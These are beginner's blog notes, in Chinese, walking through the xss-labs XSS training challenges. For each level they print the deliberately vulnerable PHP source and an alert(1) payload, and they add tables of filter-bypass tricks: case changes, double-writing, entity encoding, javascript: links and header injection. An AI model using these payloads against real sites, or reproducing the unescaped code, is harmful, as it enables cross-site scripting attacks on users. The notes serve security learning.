//：注释掉后面原本的 JS 代码，防止语法错误。

level20.php?arg01=id&arg02=\"))alert(1)//

遗憾的是不知道为什么我就是触发不了，下面附上大佬的解析

XSS LABS - Level 20 过关思路_xss-lab20-CSDN博客

Xss-labs通关全解&&XSS笔记01

Fri, 26 Dec 2025 18:37:00 GMT

初学者学习并且参考整理的笔记，仅供参考，非专业人员，难免有疏忽，借鉴他人，AI辅助之处，见谅。

我选择直接使用源码呈现（正常情况下是无法看到完整源码的，只能看到页面源码）,一方面是省去试错payload所占用的篇幅，另一方面也是为了日后温习时能更加直观，不需要再挂其他的了，我觉得大部分过滤的方法都可以被试出来，多输入几次总归可以。\

第一关

源码呈现

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

1.从上往下分析，可以看到window.alert被自定义函数重写。

window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level2.php?keyword=test"; 
}

2.可以看到在html代码里插入了php代码段。

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

其中ini_set("display_errors", 0);用于忽略报错信息

然后通过get请求获得了name的值赋给了str

echo "<h2 align=center>欢迎用户".$str."</h2>";

很显然这里就是我们的注入点，直接将传入的值插入，没有进行任何过滤。

3.那么我们就可以很简单的构造payload

?name=<script>alert(1)</script> //这里 alert()里面随便写什么都行

执行js代码的几种方式

| 方式 | Payload 示例 | 适用场景 | 备注 | | --------- | ------------------------------ | -------------------- | -------------- | | 标准标签 | <script>alert(1)</script> | 无过滤，直接输出 | 最容易被拦截 | | 图片报错 | <img src=1 onerror=alert(1)> | 过滤了 <script> | 实战最常用，自动触发 | | 交互事件 | <div onmouseover=alert(1)> | 过滤了 src 或 script | 需要诱导用户操作 | | 伪协议 | <a href=javascript:alert(1)> | 注入点在 a 标签内部 | 常见于点击链接处 | | SVG标签 | <svg/onload=alert(1)> | 现代浏览器，过滤 img | HTML5 新特性 |

第二关

源码呈现

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

1.可以看到呢核心最终还是触发alert方法

2.局部聚焦于htmlspecialchars函数，可以看到h2标签无法作为注入点使用，原因如下。

htmlspecialchars

.htmlspecialchars 方法它的作用是把预定义的字符转换为 HTML 实体。简单来说，就是把具有“功能性”的代码符号，变成了纯粹的“文本显示符号”。浏览器看到实体后，只会把它显示出来，而不会把它当作代码去执行。

| 输入字符 | 转换后的实体 | 含义 | | -------- | ---------- | ------------------------- | | & | & | 和号 | | " | " | 双引号 (重点) | | < | < | 小于号 (直接杀死了 <script> 标签) | | > | > | 大于号 |

默认情况下（在 PHP 8.1 之前），它不转换单引号 (')！

这个函数的完整语法其实是： htmlspecialchars(string, flags, encoding)

这里的 flags 参数决定了它的防御等级：

ENT_COMPAT (旧版默认值): 转换双引号，保留单引号。
ENT_QUOTES: 同时转换双引号和单引号。
ENT_NOQUOTES: 都不转换。

开发者在调用时往往懒省事，只写 htmlspecialchars($str)，没加 ENT_QUOTES 参数。 这就给了我们用“单引号”进行闭合绕过的机会。

3.注入点

<input name=keyword  value="'.$str.'">

依旧是直接拼接（在输入框中），这里的input 是不安全的，分析可知我们可以通过提前闭合 value=后的第一个" 进而插入

4.我们就可以构造最简单的payload，插入的可以选择input的属性

" onclick="alert(1) //注意这里alert(1)前只有一个"因为要和后面的"闭合，以及空格

如果只是想过关，到这里也就结束了，下面的是更多样化的选择。

同样的，我们也可以选择其他的属性

`<input>` 标签 XSS 触发属性速查表

| 属性 (Attribute) | 触发条件 (Trigger Condition) | 构造示例 (Payload) | CTF/实战推荐指数 & 评价 | | ---------------------- | ---------------------------- | ---------------------------------- | ------------------------------------------------------------------------------ | | onfocus | 当输入框获得焦点时触发。 | " onfocus=alert(1) autofocus=" | 加上 autofocus 属性后，页面加载完成后会自动聚焦，实现 “无交互 (Zero-click)” 自动触发 XSS。但是容易卡死，死循环。 | | onmouseover | 当鼠标指针移动到输入框上方时触发。 | " onmouseover=alert(1) " | 需要用户鼠标划过。如果输入框很大或者位置很显眼，成功率尚可，但不如自动触发稳。 | | onclick | 当用户点击输入框时触发。 | " onclick=alert(1) " | 需要用户主动点击。这是最被动的方式，除非你配合社工诱导用户去点击。 | | oninput | 当用户在输入框内输入/修改内容时触发。 | " oninput=alert(1) " | 需要用户进行输入操作。通常用于搜索框等用户必须打字的场景。 | | onchange | 当内容改变且失去焦点时触发。 | " onchange=alert(1) " | 比较难触发，既要改内容，又要点别的地方，条件太苛刻。 | | onblur | 当输入框失去焦点时触发。 | " onblur=alert(1) autofocus=" | 可以配合 autofocus，一旦用户点击页面的其他地方（失去焦点），就会触发。 | | oncut / oncopy | 当用户剪切/复制输入框内容时触发。 | " value="点我复制" oncopy=alert(1) " | 非常特定的场景才有用（例如诱导用户复制某些兑换码）。 |

注意这里"前后基本上都有个空格

这里关于" 闭合的情况还可以有其他的样式，具体可看表格

| 写法类型 | 示例 | 规则与限制 | | ------------------ | -------------------- | ---------------------------- | | 双引号包裹 | onclick="alert(1)" | 最标准写法。值里面可以包含空格、单引号。 | | 单引号包裹 | onclick='alert(1)' | 标准写法。值里面可以包含空格、双引号。 | | 无引号 (Unquoted) | onclick=alert(1) | 只要值里面不包含“破坏性字符”，就可以不加引号。 |

“破坏性字符” 是什么？

如果你想使用 无引号 写法（onclick=payload），你的 Payload 里面绝对不能包含以下字符，否则 HTML 解析器会认为属性值结束了：

空格 (最关键的限制)
" (双引号)
' (单引号)
= (等号)
< (小于号)
> (大于号)
` (反引号)

这一关也比较简单没有对input内的进行转义，还可以考虑 标签逃逸 和 伪协议

标签逃逸

后端没有转义/过滤尖括号 < 和 >。 攻击原理：利用 > 强制结束当前的 <input> 标签，然后自由插入新的 HTML 标签。

| 攻击变种 | 适用场景 (Condition) | 构造示例 (Payload) | 原理解析 | | ------------------ | -------------------------------- | --------------------------------------- | ------------------------------------------------------------- | | 直接插入 Script | 最理想的情况，后端只检查了引号闭合，完全没管标签。 | "> <script>alert(1)</script> | 1. "> 闭合原 input。2. 浏览器解析执行完整的 JS 脚本块。 | | 利用 img/svg | 后端过滤了 <script> 关键字，但没过滤 < >。 | "> <img src=x onerror=alert(1)> | 1. "> 闭合原 input。2. 利用图片加载失败（src=x）触发 onerror 事件执行 JS。 | | 利用 body/iframe | 需要更隐蔽或特定上下文，或者 img 标签也被监控时。 | "> <iframe onload=alert(1)> | 1. "> 闭合原 input。2. iframe 加载完成时触发 onload。 | | 利用 input (递归) | 你想弹窗，但不想破坏页面结构，看起来像个正常的框。 | "> <input onfocus=alert(1) autofocus> | 1. "> 闭合原 input。2. 插入一个新的、自带攻击属性的 input 标签。还是有可能会死循环 |

伪协议与特殊 Type

无法使用 <script> 标签，且常见的 on* 事件（如 onclick, onmouseover）被 WAF 过滤，但允许修改 type 属性或 URL 相关的属性。 攻击原理：利用浏览器支持 javascript: 伪协议的特性，将 JS 代码伪装成链接或表单提交目标。

| 攻击变种 | 适用场景 (Condition) | 构造示例 (Payload) | 原理解析 | | ----------------- | ---------------------------------------------- | -------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------- | | 表单劫持 (Submit) | 这是一个输入框，但你可以改变它的 type 为 submit。 | " type="submit" formaction="javascript:alert(1)" | 1. type="submit" 把输入框变身成提交按钮。2. formaction 覆盖了原本 form 的 action 地址。3. 点击按钮 -> 浏览器尝试跳转到 javascript:alert(1) -> 代码执行。 | | 图片按钮 (Image) | 另一种将 input 变为按钮的方式 (较老但在部分浏览器有效)。 | " type="image" src="javascript:alert(1)" | 1. type="image" 把它变成图片按钮。2. 点击图片时尝试执行 src 中的伪协议代码。(注：现代浏览器对此防御较严，成功率低于 formaction) | | 超链接劫持 (A标签) | (延伸) 如果你的输入是在 <a href="..."> 中而不是 input。 | " href="javascript:alert(1)" | 1. 直接闭合前面的引号。2. 点击链接直接触发 JS。(常用于 href 属性注入场景) |

绕过过滤

对这一关没必要且不适用

当简单的 onclick 或 <script> 被 WAF（防火墙）或后端代码无情地拦截、替换或删除时。

| 技巧 (Technique) | 适用场景 (Condition) | 构造示例 (Payload) | 原理解析 & 评价 | | -------------------------------- | -------------------------------------------------------- | ------------------------------------------------------------------- | --------------------------------------------------------------------------- | | 大小写绕过(Case Sensitivity) | 后端过滤代码只匹配小写。例如：str_replace("script", "", $str) | " OnIcK=alert(1) "<br>"> <ScRiPt>alert(1)</sCrIpT> | HTML 对标签和属性不区分大小写，但后端的过滤代码（PHP/Python/Java）可能是区分大小写的。 | | 双写绕过(Double Writing) | 后端将敏感词替换为空，且只替换一次。例如：把 script 替换为 ""。 | "> <scrscriptipt>alert(1)</script>" oonnfocus=alert(1) " | 当中间的 script 被删掉后，左右剩下的字符自动拼合，正好重新组成了 script。 | | HTML 实体编码(HTML Entity) | 后端过滤了 alert、( 等特殊字符，但没过滤 & 和 #。 | " onclick=alert(1) "" onclick=alert(1) " | 浏览器解析顺序：HTML解码 -> JS执行。浏览器看到 a 会先把它还原成 a，然后再交给 JS 引擎执行 alert。 | | 空格绕过(Space Bypass) | 后端通过正则过滤了空格，导致无法分隔属性。 | "onfocus=alert(1)autofocus=""type="text"/onfocus=alert(1)/* | HTML 解析器允许用 / (斜杠) 代替空格来分隔属性。 | | 利用伪协议替换(Protocol Bypass) | javascript: 关键字被过滤。 | " type="submit" formaction="javascript:alert(1)" | 利用 HTML 实体编码打断关键字，s 是 s，浏览器解码后依然能认出这是 javascript:。 | | 等效函数替换(Function Sub) | alert() 函数被精准封杀。 | confirm(1)prompt(1)top['al'+'ert'](1) | 弹窗不一定要用 alert，confirm 和 prompt 也是弹窗。或者利用 JS 的字符串拼接特性绕过关键字检测。 |

第三关

源码呈现

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>    
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

1.还是触发alert 不多叙述了

2.可以看到跟第二关一样echo h2被转义了

<input name=keyword  value='".htmlspecialchars($str)."'>

但是不同的是不像上一关$str 直接被传入，这一关经过了一层 htmlspecialchars 转义点击这里跳转到 htmlspecialchars

这里我们使用的是其默认不转换单引号的特性，同时题目中也使用 ' 对我们进行了暗示

剩下内容就和第二关默认的payload相似了

3.我们可以很简单的构造

' onclick='alert(1)

其他属性可以参照这里基本上只有单引号和双引号之间的区别以及尝试伪协议与特殊 Type 大部分也可以

第四关

源码呈现

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

1.触发alert

2.只是将< 和> 给过滤了，并且没有进行转义，可以利用" 进行闭合，这样就很好办了，可以接着无脑属性闭环了

" onclick ="alert(1)

第五关

源码呈现

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

1.触发alert

2.这里强制把所有大写转换成了小写，证明我们无法使用大小写绕过了

$str = strtolower($_GET["keyword"]);

3.可以看到这里把<script 替换成了 <scr_ipt 以及把on 替换成了 o_n

$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

3.这里我们可以结合伪协议与特殊 Type 以及标签逃逸, 我们就可以构造出

"> <a href="javascript:alert(1)">点击通关</a>

4.这一关除了上面提到的源码中呈现的大小写替换以及其他替换（例如formaction中on被替换），还有一种类型payload问题在于浏览器的安全机制

利用图片类的标签，如 <input type="image" src="javascript:alert(1)"> 或 <img src="javascript:alert(1)">代码成功绕过了所有 PHP 过滤，完整地发给了浏览器。

但是：

浏览器看到标签是 img 或 input type="image"。
浏览器认为：“这是一个静态资源（图片），它的 src 应该是一个 URL 地址。”
浏览器禁止在图片资源的 src 属性中执行 JS 代码。
浏览器尝试加载这个“图片”，发现加载不出来，于是显示一个裂图图标，代码并未执行。

也就是说在现代浏览器中，图片属性的 src 永远不会执行脚本。

<a>显然成为了最优解。

Xss-labs通关全解&&XSS笔记02

Fri, 26 Dec 2025 18:37:00 GMT

初学者学习并且参考整理的笔记，仅供参考，非专业人员，难免有疏忽，借鉴他人，AI辅助之处，见谅。

我选择直接使用源码呈现（正常情况下是无法看到完整源码的，只能看到页面源码）,一方面是省去试错payload所占用的篇幅，另一方面也是为了日后温习时能更加直观，不需要再挂其他的了，我觉得大部分过滤的方法都可以被试出来，多输入几次总归可以。\

第六关

源码呈现

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

1.可以看到这里的替换非常多且恐怖

$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

但是可以注意到他少了上一关的转化为小写字母，那么就很简单了绕过过滤

2.我们可以如下构造

" Onclick="alert(1) //对特定关键字随意变换大小写即可

其他的略

第七关

源码呈现

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

1.可以看到这里是把第六关的大小写漏洞填上了，同时基本上把属性（属性的关键字母）给过滤了（替换成空格）

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

2.绕过过滤这样我们就可以考虑双写绕过

比如说 script``href onclick 等都可以考虑并且使用

" oonnclick="alert(1)

注意⚠️ 这里的双写绕过不是 ononclick 这样写，这样写几遍都无效的，目的是被空替代，然后让首尾相接

第八关

源码呈现

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

1.这一关的过滤基本上把之前的漏洞全填上了，大小写，关键词替换，甚至于"都被强制转义了

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

2.这一关的注入点不在于这里了原来输入框，而在于下方

echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

输入 $str7 被直接放进了 <a> 标签的 href 属性里。 这意味着： 我们不需要“逃逸”闭合标签，我们本来就在一个可以执行 JS 的地方（href 属性支持 javascript: 伪协议）

而href有一个属性，会先进行HTML 解码，还原之后，再执行。

3.那么就可以构造出

javasc&#114;ipt:alert(1)

HTML 实体编码

主要针对的就是php不会进行html解码，进而绕过过滤，而例如href会自动进行解码

| 方法 (Method) | 构造代码 (Payload) | 备注 | | --------------- | ------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------- | | 单字编码 (最推荐) | javascript:alert(1) | 只改一个字母 r，最短最快。 | | 首字编码 | javascript:alert(1) | 只改一个字母 s。 | | 插入 Tab 符 | javasc	ript:alert(1) | 利用 	 (Tab键) 打断单词。 | | 全部编码 | javascript:alert(1) | 第一行是 javascript:第二行是 alert(1) |

第九关

源码呈现

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

1.可以看到，整体的思路和第八关是一样的，利用友情链接

2.但是这里多了判断，判断我们输入的链接是否合法，意味着上一关直接伪协议+编码是无效的

<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

分析一下可以知道，这里只是判断了传入的参数中是否带有 http:// 这一项，意味着我们可以在任何地方塞入

3.那么我们就可以在上一关基础上构造，利// 注释使后续不生效

javasc&#114;ipt:alert(1) // http://

换个思路想想，我们甚至可以不需要注释，直接塞到alert()之中,注意这里一定要使用'进行包裹

javasc&#114;ipt:alert('http://')

第十关

源码呈现

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

1.这一关只能靠传入参数的方式来构造payload，但问题出现了我们要给什么东西传参呢？

2.查看网页源码可以看到，有三个 input被隐藏了

<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">

我们不妨对三个都传入参数，例如

t_link=1&t_history=1&t_sort=1

由此可以发现注入点在t_sort

3.那么我们就可以和之前一样构造

t_sort=" type="text" onclick="alert(1)

| 障碍 | 解决方法 | | ------------------- | ---------------------------------- | | 找不到注入点 | 阅读源码（或盲猜），发现隐藏的 t_sort 参数。 | | 过滤了 < > | 放弃标签逃逸，转向 属性注入（在标签内部添加属性）。 | | type="hidden" | 注入 type="text" 覆盖原有属性，让元素显形以便交互。 |

Xss-labs通关全解&&XSS笔记03

Fri, 26 Dec 2025 18:37:00 GMT

初学者学习并且参考整理的笔记，仅供参考，非专业人员，难免有疏忽，借鉴他人，AI辅助之处，见谅。

我选择直接使用源码呈现（正常情况下是无法看到完整源码的，只能看到页面源码）,一方面是省去试错payload所占用的篇幅，另一方面也是为了日后温习时能更加直观，不需要再挂其他的了，我觉得大部分过滤的方法都可以被试出来，多输入几次总归可以。\

第十一关

源码呈现

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

1.这一关从源码分析来看全是烟雾弹（真实做题看不到源码能做出来真的很厉害了，反正我看到想不到）

<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">

题目中给出的四个变量，往里传什么都没用........

2.题目的切入点就在于http请求头部分

$str11=$_SERVER['HTTP_REFERER'];

后续内容可以看到只是进行了简单的对 < 和> 的过滤，那么我们就需要一些辅助工具了，例如Hackbar BurpSuite等

3.例如使用BurpSuite抓包后直接末尾加入

Referer: " onclick = alert(1) type="text

第十二关

源码展示

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

1.和上一关很相似，只是把referer变成了user agent

2.依旧是BurpSuite抓包，找到User-Agent构造

User-Agent:" onclick = alert(1) type="text

第十三关

源码展示

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

1.和上两关没什么区别，这次变成了 cookie

2.源码中如下写到，使用了cookie中user的值，在看不到源码情况下，通过bp抓包也是能明显发现端倪的

setcookie("user", "call me maybe?", time()+3600);

Cookie: user=call+me+maybe%3F

题目中暗示我们修改user的值进而实现注入

3.剩下的就和上述关卡没什么区别了

Cookie: user=" onclick = alert(1) type="text

HTTP请求头注入

| 关卡 | 注入点 (HTTP Header) | PHP 接收代码 (漏洞源) | 过滤情况 | 核心 Payload (通用) | | ------------ | --------------------- | ----------------------------- | --------------------------- | ------------------------------- | | Level 11 | Referer | $_SERVER['HTTP_REFERER'] | 过滤 < > 不过滤 " | " onclick=alert(1) type="text | | Level 12 | User-Agent | $_SERVER['HTTP_USER_AGENT'] | 过滤 < > 不过滤 " | " onclick=alert(1) type="text | | Level 13 | Cookie | $_COOKIE['user'] | 过滤 < > 不过滤 " | " onclick=alert(1) type="text |

第十四关

源码呈现

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

1.XSS Labs 的第 14 关经常被认为是“坏掉的”或者“无法完成的”

2.这里我们可以通过本地修改，实现本地运行,我这里是docker环境，就直接进去修改了level14.php

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
